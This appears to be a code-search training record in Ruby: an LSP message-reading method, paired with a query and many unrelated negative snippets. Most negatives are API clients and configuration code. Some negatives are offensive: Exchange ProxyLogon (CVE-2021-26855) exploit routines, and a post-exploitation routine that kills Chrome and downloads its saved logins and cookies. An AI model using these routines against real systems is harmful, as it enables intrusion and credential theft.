"def draft_release_notes_text\n extra_javascript 'docs'\n @hard_wrap = params[:hard_wrap]\n @bugs = sorted_bugs.select(&:doc_text_required?)\n end",
"def display_snippet(content)\n content = display_full(content)\n\n # If our entire post fits in the snippet, just parse the HTML and return it.\n return content if content.length <= MINIMUM_CHARS_FOR_PREVIEW\n \n\n first_part = content[0...MINIMUM_CHARS_FOR_PREVIEW]\n remainder = content[MINIMUM_CHARS_FOR_PREVIEW..-1]\n (first_part + remainder.split(\"</p>\").first + \"</p>\")\n\n end",
"def generate_excerpt?; end"
] | [
"0.66802615",
"0.6531045",
"0.63223284",
"0.6221183",
"0.6148571",
"0.6116077",
"0.6088229",
"0.6079464",
"0.6045467",
"0.5987837",
"0.5912503",
"0.5894419",
"0.5885974",
"0.58809245",
"0.58726573",
"0.5869829",
"0.5849178",
"0.5845995",
"0.58367646",
"0.58339155",
"0.5779724",
"0.57763517",
"0.57571244",
"0.5748073",
"0.5742143",
"0.5684221",
"0.56835353",
"0.56835353",
"0.56811297",
"0.56752104",
"0.56743133",
"0.56709045",
"0.5666753",
"0.5653875",
"0.56532663",
"0.5648105",
"0.5644997",
"0.5635782",
"0.5633869",
"0.56268436",
"0.56232685",
"0.56232685",
"0.561912",
"0.561912",
"0.56130826",
"0.56104994",
"0.5608339",
"0.55981207",
"0.5592555",
"0.55695283",
"0.555502",
"0.5549789",
"0.5547465",
"0.55396193",
"0.55392355",
"0.5535469",
"0.55261153",
"0.5510148",
"0.55042243",
"0.54983544",
"0.54951686",
"0.548882",
"0.54866064",
"0.5484565",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5483048",
"0.5480443",
"0.54749495",
"0.5472157",
"0.5470542",
"0.54688466",
"0.5467846",
"0.54574084",
"0.54485536",
"0.5446996",
"0.5444351",
"0.5444351",
"0.5444351",
"0.54408777",
"0.54304373",
"0.5429655",
"0.542478",
"0.5423373",
"0.5422502",
"0.5422502",
"0.5420615",
"0.5403834",
"0.53965074",
"0.53943455"
] | 0.0 | -1 |
TODO: process equests from server Diagnostics Refresh workspace/diagnostic/refresh Register Capability client/registerCapability Unregister Capability client/unregisterCapability | def lsp_read_message(io)
@ext.data['lsp'].each_pair do |_k, v|
next unless io == v.io
headers, message = v.recv_message
if headers == {}
@logger.error "server(#{v.server[:command]}) is not running"
v.status = :not_found
# del_io_read_event(v.io)
next
end
if message == nil
@logger.error '[lsp] error'
next
end
@logger.debug message.to_s
if !message['id'].nil?
# request or response
id = message['id'].to_i
if !v.request_buffer[id].nil?
lsp_response(v, id, message)
else # request?
@logger.info '[LSP] recieve request???'
@logger.info message.to_s
end
else # notification
lsp_notification(v, message)
end
break
end
# end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def register_capabilities methods\n @register_semaphore.synchronize do\n send_request 'client/registerCapability', {\n registrations: methods.select{|m| can_register?(m) and !registered?(m)}.map { |m|\n @registered_capabilities.add m\n {\n id: m,\n method: m,\n registerOptions: dynamic_capability_options[m]\n }\n }\n }\n end\n end",
"def client_capabilities=(_arg0); end",
"def capability_statement\n resource = FHIR::CapabilityStatement.new(\n status: 'active',\n kind: 'instance',\n date: DateTime.parse('2020-05-28').strftime('%FT%T%:z'),\n software: FHIR::CapabilityStatement::Software.new(\n name: 'Sara Alert',\n version: ADMIN_OPTIONS['version']\n ),\n implementation: FHIR::CapabilityStatement::Implementation.new(\n description: 'Sara Alert API'\n ),\n fhirVersion: '4.0.1',\n format: %w[json],\n rest: FHIR::CapabilityStatement::Rest.new(\n mode: 'server',\n security: FHIR::CapabilityStatement::Rest::Security.new(\n cors: true,\n service: FHIR::CodeableConcept.new(\n coding: [\n FHIR::Coding.new(code: 'SMART-on-FHIR', system: 'http://hl7.org/fhir/restful-security-service')\n ],\n text: 'OAuth2 using SMART-on-FHIR profile (see http://docs.smarthealthit.org'\n ),\n extension: [\n FHIR::Extension.new(\n url: 'http://fhir-registry.smarthealthit.org/StructureDefinition/oauth-uris',\n extension: [\n FHIR::Extension.new(url: 'token', valueUri: \"#{root_url}oauth/token\"),\n FHIR::Extension.new(url: 'authorize', valueUri: \"#{root_url}oauth/authorize\"),\n FHIR::Extension.new(url: 'introspect', valueUri: \"#{root_url}oauth/introspect\"),\n FHIR::Extension.new(url: 'revoke', valueUri: \"#{root_url}oauth/revoke\")\n ]\n )\n ]\n ),\n resource: [\n FHIR::CapabilityStatement::Rest::Resource.new(\n type: 'Patient',\n interaction: [\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'read'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'update'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'create'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'search-type')\n ],\n searchParam: [\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'family', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'given', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'telecom', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'email', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'active', type: 'boolean'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_id', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_count', type: 'string')\n ]\n ),\n FHIR::CapabilityStatement::Rest::Resource.new(\n type: 'Observation',\n interaction: [\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'read'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'search-type')\n ],\n searchParam: [\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'subject', type: 'reference'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_id', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_count', type: 'string')\n ]\n ),\n FHIR::CapabilityStatement::Rest::Resource.new(\n type: 'QuestionnaireResponse',\n interaction: [\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'read'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'search-type')\n ],\n searchParam: [\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'subject', type: 'reference'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_id', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_count', type: 'string')\n ]\n )\n ]\n )\n )\n status_ok(resource) && return\n rescue StandardError\n render json: operation_outcome_fatal.to_json, status: :internal_server_error\n end",
"def launch\n #reset_session # Get a completely fresh session for each launch. This is a rails method.\n if params[:client_id].length == 0 #this is a sentinel for unauthenticated access with the patient ID in the client_secret\n session[:client_secret] = session[:patient_id] = params[:client_secret]\n session[:client_id] = params[:client_id]\n session[:iss_url] = params[:iss_url]\n @patient_client = FHIR::Client.new(session[:iss_url])\n @patient_client.use_r4\n # @client.set_bearer_token(session[:access_token])\n puts \"==>redirect_to #{dashboard_url}\"\n redirect_to patients_path, alert: \"Please provide a client id and secret\"\n else\n # Let Params values over-ride session values if they are present\n launch = params[:launch] || session[:launch] || \"launch\"\n iss = (params[:iss_url] || session[:iss_url]).delete_suffix(\"/metadata\")\n session[:client_id] = params[:client_id].gsub /\\t/, '' || session[:client_id]\n session[:client_secret] = params[:client_secret].gsub /\\t/, '' || session[:client_secret]\n # Get Server Metadata\n rcRequest = RestClient::Request.new(\n :method => :get,\n :url => iss + \"/metadata\"\n )\n rcResult = JSON.parse(rcRequest.execute)\n session[:auth_url] = rcResult[\"rest\"][0][\"security\"][\"extension\"][0][\"extension\"].select{|e| e[\"url\"] == \"authorize\"}[0][\"valueUri\"]\n session[:token_url] = rcResult[\"rest\"][0][\"security\"][\"extension\"][0][\"extension\"].select{|e| e[\"url\"] == \"token\"}[0][\"valueUri\"]\n session[:iss_url] = iss\n session[:launch] = launch\n # for Onyx scope = \"launch/patient openid fhirUser offline_access user/ExplanationOfBenefit.read user/Coverage.read user/Organization.read user/Patient.read user/Practitioner.read patient/ExplanationOfBenefit.read patient/Coverage.read patient/Organization.read patient/Patient.read patient/Practitioner.read\"\n scope = \"launch/patient openid fhirUser offline_access user/*.read patient/*.read\"\n scope = scope.gsub(\" \",\"%20\" )\n scope = scope.gsub(\"/\",\"%2F\" )\n redirect_to_auth_url = session[:auth_url] + \n \"?response_type=code\"+\n \"&redirect_uri=\"+ login_url +\n \"&aud=\" + iss +\n \"&state=98wrghuwuogerg97\" +\n \"&scope=\"+ scope +\n \"&client_id=\" + session[:client_id] \n # + \"&_format=json\"\n puts \"===>redirect to #{redirect_to_auth_url}\"\n redirect_to redirect_to_auth_url\n end \n\n rescue StandardError => exception\n reset_session\n err = \"Failed to connect: \" + exception.message\n redirect_to patients_path, alert: err\n \n end",
"def unregister_capabilities methods\n @register_semaphore.synchronize do\n send_request 'client/unregisterCapability', {\n unregisterations: methods.select{|m| registered?(m)}.map{ |m|\n @registered_capabilities.delete m\n {\n id: m,\n method: m\n }\n }\n }\n end\n end",
"def capabilities; end",
"def capabilities; end",
"def capabilities; end",
"def run_cve_2021_26855\n # request for internal server name.\n response = send_http(datastore['METHOD'], 'localhost~1942062522')\n if response.code != 500 || response.headers['X-FEServer'].empty?\n print_bad('Could\\'t get the \\'X-FEServer\\' from the headers response.')\n\n return\n end\n server_name = response.headers['X-FEServer']\n print_status(\" * internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, @legacy_dn = request_autodiscover(server_name)\n\n print_status(\" * Server: #{server_id}\")\n print_status(\" * LegacyDN: #{@legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n @sid = request_mapi(server_name, server_id)\n print_status(\" * sid: #{@sid} (#{datastore['EMAIL']})\")\n\n # request cookies (session and canary)\n print_status(message('Sending ProxyLogon request'))\n session_info = request_proxylogon(server_name)\n\n print_status(\" * ASP.NET_SessionId: #{session_info[0]}\")\n print_status(\" * msExchEcpCanary: #{session_info[1]}\")\n @session = \"ASP.NET_SessionId=#{session_info[0]}; msExchEcpCanary=#{session_info[1]};\"\n\n # get OAB id\n oab_id = request_oab(server_name, session_info[1])\n print_status(\" * OAB id: #{oab_id[1]} (#{oab_id[0]})\")\n\n [server_name, session_info[1], oab_id]\n end",
"def run_cve_2021_26855\n # request for internal server name.\n response = send_http(datastore['METHOD'], \"localhost~#{random_ssrf_id}\")\n if response.code != 500 || !response.headers.to_s.include?('X-FEServer')\n fail_with(Failure::NotFound, 'No \\'X-FEServer\\' was found')\n end\n\n server_name = response.headers['X-FEServer']\n print_status(\"Internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, legacy_dn = request_autodiscover(server_name)\n\n print_status(\"Server: #{server_id}\")\n print_status(\"LegacyDN: #{legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n sid = request_mapi(server_name, legacy_dn, server_id)\n print_status(\"SID: #{sid} (#{datastore['EMAIL']})\")\n\n # search oab\n sid, session, canary, oab_id = search_oab(server_name, sid)\n\n [server_name, sid, session, canary, oab_id]\n end",
"def patch_capability_switch_capability_with_http_info(moid, capability_switch_capability, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_switch_capability ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_switch_capability\"\n end\n # verify the required parameter 'capability_switch_capability' is set\n if @api_client.config.client_side_validation && capability_switch_capability.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_capability' when calling CapabilityApi.patch_capability_switch_capability\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_capability)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchCapability'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_switch_capability\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_switch_capability\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def allow_registration method\n @register_semaphore.synchronize do\n @dynamic_capabilities.add method\n end\n end",
"def google_1\n\nr=''\n# variable declarations\noutpath = datastore['DOWNLOAD_PATH']\nsysnfo = session.sys.config.sysinfo\npathexe=\"\\\"%programfiles%\\\"\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\"\ndatapath=\"%homepath%\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\\\\"User Data\\\"\\\\Default\"\n\n # check for proper settings enter by user ...\n if datastore['CHROME'] == 'nil' || datastore['DOWNLOAD_PATH'] == 'nil'\n print_error(\"Please set CHROME | DOWNLOAD_PATH options...\")\n return\n else\n print_status(\"Searching for Google Chrome path...\")\n #check if chrome.exe exists\n if session.fs.file.exist?(pathexe)\n print_good(\" Google Chrome directoy found...\")\n else\n print_error(\"Google Chrome path not found.\")\n print_line(\"\")\n return\n end\n end\n\n\n #check if chrome.exe its running, if true terminate the process\n proc=\"chrome.exe\"\n client.sys.process.get_processes().each do |x|\n next if skip_process_name?(x['name'].downcase)\n vprint_status(\"Checking #{x['name'].downcase} ...\")\n if proc == (x['name'].downcase)\n print_status(\"Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...\")\n begin\n client.sys.process.kill(x['pid'])\n print_good(\" #{x['name']} terminated.\")\n end\n end\nend\n \n\n\n # list of arrays to be executed\n creds = [\n 'History',\n 'Login Data',\n 'Cookies',\n 'Web Data',\n 'Current Session'\n ]\n\n\n # loop funtion to download files from target system\n session.response_timeout=120 \n creds.each do |dump|\n r = client.fs.file.download(\"#{outpath}/#{sysnfo['Computer']}/#{dump}\",\"#{datapath}\\\\#{dump}\")\n print_good(\" Downloading => #{dump}\")\n\n # close client channel when done\n while(d = r.channel.read)\n break if d == \"\"\n end\n # error exception funtion\n rescue ::Exception => e\n print_error(\"Error Running Command: #{e.class} #{e}\")\n print_error(\" Error copying the file, try to see if Google Chrome its running on target machine.\")\nend\n\n\n\n\n\n\n# -------------------\n# MAIN MENU DISPLAYS\n# -------------------\ndef run\n session = client\n sysnfo = session.sys.config.sysinfo\n\n print_line(\"\")\n print_line(\" ---------------------------------\")\n print_line(\" | Computer: #{sysnfo['Computer']}\")\n print_line(\" | OS: #{sysnfo['OS']}\")\n print_line(\" ---------------------------------\")\n print_line(\"\")\n \n #print_warning(\"just another color display...\")\n #print_error(\"another color display...\")\n if datastore['FIREFOX'] \n\t firefox_1 # jump to firefox funtion\n end\t\n\n if datastore['CHROME']\n google_1 # jump to google chrome function\n end\n\n end\nend",
"def update_capability_switch_capability_with_http_info(moid, capability_switch_capability, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_switch_capability ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_switch_capability\"\n end\n # verify the required parameter 'capability_switch_capability' is set\n if @api_client.config.client_side_validation && capability_switch_capability.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_capability' when calling CapabilityApi.update_capability_switch_capability\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_capability)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchCapability'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_switch_capability\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_switch_capability\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def registration_requests\n # TODO: generate a request for each supported version\n [RegisterRequest.new(challenge)]\n end",
"def patch_capability_catalog_with_http_info(moid, capability_catalog, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_catalog ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_catalog\"\n end\n # verify the required parameter 'capability_catalog' is set\n if @api_client.config.client_side_validation && capability_catalog.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_catalog' when calling CapabilityApi.patch_capability_catalog\"\n end\n # resource path\n local_var_path = '/api/v1/capability/Catalogs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_catalog)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityCatalog'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_catalog\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_catalog\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def register_capabilities(methods); end",
"def update_capability_catalog_with_http_info(moid, capability_catalog, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_catalog ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_catalog\"\n end\n # verify the required parameter 'capability_catalog' is set\n if @api_client.config.client_side_validation && capability_catalog.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_catalog' when calling CapabilityApi.update_capability_catalog\"\n end\n # resource path\n local_var_path = '/api/v1/capability/Catalogs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_catalog)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityCatalog'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_catalog\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_catalog\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def register_tscm\n case node['platform']\n when 'redhat'\n client_id = shell_out('cat /opt/IBM/SCM/client/client.id').stdout\n\n if client_id.to_i == -1\n # registering the tscm client with server\n Chef::Log.info('Registering TSCM client........')\n\n # check for key required for server authentication\n verify_key\n\n # registering client using ssh command\n execute 'register-node' do\n command \"ssh -n -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['register_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} #{node['tscm']['node_IP']}\"\n action :run\n timeout 1800\n end\n\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n \n else\n Chef::Log.error('TSCM Client: ' + (node['tscm']['node_name']).to_s + ' Already Registered with Object ID : ' + client_id.to_s + '.....................Nothing to do')\n node.default['tscm']['registration_status'] = 'success'\n end\n\n # registering on aix\n when 'aix'\n client_id = shell_out('cat /opt/IBM/SCM/client/client.id').stdout\n\n # check if the key is available; download in case it is not available\n verify_key\n \n Chef::Log.error(client_id.to_i)\n if client_id.to_i == -1\n Chef::Log.info('Registering the TSCM client.......')\n\n # registering the tscm client with server\n Chef::Log.info('Registering TSCM client........')\n\n execute 'register-tscm' do\n command \"ssh -n -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['register_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} #{node['tscm']['node_IP']}\"\n action :run\n timeout 1800\n end\n\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n\n # checking log files for validating registration\n if ::File.exist?('/opt/IBM/SCM/client/client.log') && ::File.readlines('/opt/IBM/SCM/client/client.log').grep(/Storing obsfucated schedules/)\n Chef::Log.info('Registration Success...........')\n else\n Chef::Log.error('Registration Failed...........')\n end\n else\n Chef::Log.error('TSCM Client: ' + (node['tscm']['node_name']).to_s + ' Already Registered with Object ID : ' + client_id.to_s + '.....................Nothing to do')\n node.default['tscm']['registration_status'] = 'success'\n Chef::Log.error((node['tscm']['registration_status']).to_s)\n end\n end\nend",
"def load_current_resource\n\n @current_resource = Chef::Resource::OpsviewClient.new(@new_resource.name)\n\n get_opsview_token()\n\n @current_resource.json_data(get_opsview_device())\n if @current_resource.json_data.nil?\n Chef::Log.info( \"#{@new_resource.name} is not currently registered with OpsView\" )\n else\n Chef::Log.debug( \"Retrieved current details for #{@new_resource.name} from OpsView\" )\n end\nend",
"def patch_capability_switch_descriptor_with_http_info(moid, capability_switch_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_switch_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_switch_descriptor\"\n end\n # verify the required parameter 'capability_switch_descriptor' is set\n if @api_client.config.client_side_validation && capability_switch_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_descriptor' when calling CapabilityApi.patch_capability_switch_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_switch_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_switch_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def connection_status_mcnet_request; end",
"def patch_capability_sioc_module_capability_def_with_http_info(moid, capability_sioc_module_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_sioc_module_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_sioc_module_capability_def\"\n end\n # verify the required parameter 'capability_sioc_module_capability_def' is set\n if @api_client.config.client_side_validation && capability_sioc_module_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_capability_def' when calling CapabilityApi.patch_capability_sioc_module_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_sioc_module_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_sioc_module_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def load_current_resource\r\n require 'zenoss_client'\r\n @connection = Zenoss.connect( api_url(), \r\n @new_resource.api_user, @new_resource.api_password)\r\n \r\n \r\n @device = get_device()\r\n\r\n \r\nend",
